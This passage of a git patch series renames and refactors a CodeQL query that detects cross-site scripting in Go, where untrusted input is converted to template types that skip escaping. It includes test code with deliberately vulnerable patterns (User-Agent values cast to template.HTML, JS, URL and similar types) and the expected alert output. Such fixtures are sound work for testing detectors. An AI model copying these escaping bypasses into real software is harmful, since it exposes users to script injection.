"%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } From c2ebdf5266a900b27c8b439d58cce99a2ea52eee Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 12:22:00 +0100 Subject: [PATCH 04/21] Change query id to `go/html-template-escaping-bypass-xss` --- .../HTMLTemplateEscapingPassthrough.ql | 2 +- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index ff63f6bfbec7..c7135f9eeea0 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -4,7 +4,7 @@ * template, it may result in XSS. * @kind path-problem * @problem.severity warning - * @id go/html-template-escaping-passthrough + * @id go/html-template-escaping-bypass-xss * @tags security * experimental * external/cwe/cwe-079 diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index dcadac92d280..50e318d956ac 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { { var a template.HTML - a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss] } } } { - var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss] } { - var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] - checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss] } } From ca85f0bf7f7f56eedb2d64fdd56b6aa53a23474e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 12:26:23 +0100 Subject: [PATCH 05/21] Update query metadata --- .../CWE-079/HTMLTemplateEscapingPassthrough.ql | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index c7135f9eeea0..9e1510e97974 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -1,13 +1,14 @@ /** - * @name HTML template escaping passthrough - * @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML - * template, it may result in XSS. + * @name HTML template escaping bypass cross-site scripting + * @description Converting user input to a special type that avoids escaping + * when fed into an HTML template allows for a cross-site + * scripting vulnerability. * @kind path-problem - * @problem.severity warning + * @problem.severity error * @id go/html-template-escaping-bypass-xss * @tags security - * experimental * external/cwe/cwe-079 + * external/cwe/cwe-116 */ import go From ce4be6d04c19cbf3aa233966a92ab1f87e78b139 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 12:36:22 +0100 Subject: [PATCH 06/21] Refactor to use flow state instead of 3 flow configs (copilot) --- .../HTMLTemplateEscapingPassthrough.ql | 156 ++++++------------ 1 file changed, 53 insertions(+), 103 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9e1510e97974..9a63ba75e2aa 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -13,21 +13,6 @@ import go -/** - * Holds if the provided `untrusted` node flows into a conversion to a PassthroughType. - * The `targetType` parameter gets populated with the name of the PassthroughType, - * and `conversionSink` gets populated with the node where the conversion happens. - */ -predicate flowsFromUntrustedToConversion( - DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink -) { - exists(DataFlow::Node source | - UntrustedToPassthroughTypeConversionFlow::flow(source, conversionSink) and - source = untrusted and - UntrustedToPassthroughTypeConversionConfig::isSinkToPassthroughType(conversionSink, targetType) - ) -} - /** * A name of a type that will not be escaped when passed to * a `html/template` template. @@ -36,65 +21,6 @@ class PassthroughTypeName extends string { PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } } -module UntrustedToPassthroughTypeConversionConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } - - additional predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) { - exists(Type typ | - typ = sink.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, _) } - - predicate isBarrier(DataFlow::Node node) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType - } -} - -/** - * Tracks taint flow for reasoning about when a `ActiveThreatModelSource` is - * converted into a special "passthrough" type which will not be escaped by the - * template generator; this allows the injection of arbitrary content (html, - * css, js) into the generated output of the templates. - */ -module UntrustedToPassthroughTypeConversionFlow = - TaintTracking::Global<UntrustedToPassthroughTypeConversionConfig>; - -/** - * Holds if the provided `conversion` node flows into the provided `execSink`. - */ -predicate flowsFromConversionToExec( - DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink -) { - PassthroughTypeConversionToTemplateExecutionCallFlow::flow(conversion, execSink) and - PassthroughTypeConversionToTemplateExecutionCallConfig::isSourceConversionToPassthroughType(conversion, - targetType) -} - -module PassthroughTypeConversionToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - - additional predicate isSourceConversionToPassthroughType( - DataFlow::TypeCastNode source, PassthroughTypeName name - ) { - exists(Type typ | - typ = source.getResultType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) - ) - } - - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } -} - -/** - * Tracks taint flow for reasoning about when the result of a conversion to a - * PassthroughType flows to a template execution call. - */ -module PassthroughTypeConversionToTemplateExecutionCallFlow = - TaintTracking::Global<PassthroughTypeConversionToTemplateExecutionCallConfig>; - /** * Holds if the sink is a data value argument of a template execution call. */ @@ -109,46 +35,70 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { ) } -module FromUntrustedToTemplateExecutionCallConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node source) { source instanceof ActiveThreatModelSource } +/** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ +class FlowState extends int { + FlowState() { this = 0 or this = 1 } + + predicate isBeforeConversion() { this = 0 } - predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + predicate isAfterConversion() { this = 1 } } /** - * Tracks taint flow from a `ActiveThreatModelSource` into a template executor - * call. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -module FromUntrustedToTemplateExecutionCallFlow = - TaintTracking::Global<FromUntrustedToTemplateExecutionCallConfig>; +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node source, FlowState state) { + state.isBeforeConversion() and source instanceof ActiveThreatModelSource + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + state.isAfterConversion() and isSinkToTemplateExec(sink, _) + } -import FromUntrustedToTemplateExecutionCallFlow::PathGraph + predicate isBarrier(DataFlow::Node node, FlowState state) { + node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + } -/** - * Holds if the provided `untrusted` node flows into the provided `execSink`. - */ -predicate flowsFromUntrustedToExec( - FromUntrustedToTemplateExecutionCallFlow::PathNode untrusted, - FromUntrustedToTemplateExecutionCallFlow::PathNode execSink -) { - FromUntrustedToTemplateExecutionCallFlow::flowPath(untrusted, execSink) + /** + * When a conversion to a passthrough type is encountered, transition the flow state. + */ + predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion() and + pred = succ and + exists(Type typ, PassthroughTypeName name | + typ = pred.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", name) + ) + or + // Otherwise, normal flow with unchanged state + predState = succState + } } +module UntrustedToTemplateExecWithConversionFlow = + DataFlow::PathGraph<UntrustedToTemplateExecWithConversionConfig>; + from - FromUntrustedToTemplateExecutionCallFlow::PathNode untrustedSource, - FromUntrustedToTemplateExecutionCallFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName, DataFlow::Node conversion + UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + PassthroughTypeName targetTypeName where - // A = untrusted remote flow source - // B = conversion to PassthroughType - // C = template execution call - // Flows: - // A -> B - flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion) and - // B -> C - flowsFromConversionToExec(conversion, targetTypeName, templateExecCall.getNode()) and - // A -> C - flowsFromUntrustedToExec(untrustedSource, templateExecCall) + UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and + // Find the conversion node in the path + exists(int i | + i = templateExecCall.getPathIndex() - 1 and + conversion = templateExecCall.getPathNode(i).getNode() and + exists(Type typ | + typ = conversion.getType() and + typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) + ) + ) select templateExecCall.getNode(), untrustedSource, templateExecCall, "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, untrustedSource.getNode(), "untrusted source", conversion, "converted" From 4e5a865337d45ae1dba3021abb3741b666aafd11 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 16:14:48 +0100 Subject: [PATCH 07/21] Manually fix copilot's mistakes and get query working --- .../HTMLTemplateEscapingPassthrough.ql | 82 ++++++++++--------- .../HTMLTemplateEscapingPassthrough.expected | 63 +++++--------- 2 files changed, 63 insertions(+), 82 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a63ba75e2aa..9a73ebe159bf 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -36,69 +36,75 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { } /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), + * and tracks whether a conversion to a passthrough type (B) has occurred. */ -class FlowState extends int { - FlowState() { this = 0 or this = 1 } +module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { + private newtype TConversionState = + TUnconverted() or + TConverted(PassthroughTypeName x) - predicate isBeforeConversion() { this = 0 } + /** + * Flow state for tracking whether a conversion to a passthrough type has occurred. + */ + class FlowState extends TConversionState { + predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion() { this = 1 } -} + predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + + /** Gets a textual representation of this element. */ + string toString() { + this.isBeforeConversion() and result = "Unconverted" + or + exists(PassthroughTypeName x | this.isAfterConversion(x) | + result = "Converted to template." + x + ) + } + } -/** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. - */ -module UntrustedToTemplateExecWithConversionConfig implements DataFlow::ConfigSig { predicate isSource(DataFlow::Node source, FlowState state) { state.isBeforeConversion() and source instanceof ActiveThreatModelSource } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion() and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) } - predicate isBarrier(DataFlow::Node node, FlowState state) { - node instanceof SharedXss::Sanitizer or node.getType() instanceof NumericType + predicate isBarrier(DataFlow::Node node) { + node instanceof SharedXss::Sanitizer and not node instanceof SharedXss::HtmlTemplateSanitizer + or + node.getType() instanceof NumericType } /** * When a conversion to a passthrough type is encountered, transition the flow state. */ - predicate step(DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState) { - // If not yet converted, look for a conversion to a passthrough type - predState.isBeforeConversion() and - succState.isAfterConversion() and - pred = succ and - exists(Type typ, PassthroughTypeName name | - typ = pred.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", name) + predicate isAdditionalFlowStep( + DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState + ) { + exists(ConversionExpr conversion, PassthroughTypeName name | + // If not yet converted, look for a conversion to a passthrough type + predState.isBeforeConversion() and + succState.isAfterConversion(name) and + succ.(DataFlow::TypeCastNode).getExpr() = conversion and + pred.asExpr() = conversion.getOperand() and + conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) ) - or - // Otherwise, normal flow with unchanged state - predState = succState } } module UntrustedToTemplateExecWithConversionFlow = - DataFlow::PathGraph<UntrustedToTemplateExecWithConversionConfig>; + TaintTracking::GlobalWithState<UntrustedToTemplateExecWithConversionConfig>; + +import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, DataFlow::Node conversion, + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, PassthroughTypeName targetTypeName where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - // Find the conversion node in the path - exists(int i | - i = templateExecCall.getPathIndex() - 1 and - conversion = templateExecCall.getPathNode(i).getNode() and - exists(Type typ | - typ = conversion.getType() and - typ.getUnderlyingType*().hasQualifiedName("html/template", targetTypeName) - ) - ) + templateExecCall.getState().isAfterConversion(targetTypeName) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source", conversion, "converted" + "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, + untrustedSource.getNode(), "untrusted source" diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 8032c4eec221..7da7560567fd 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,46 +1,34 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | +| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | 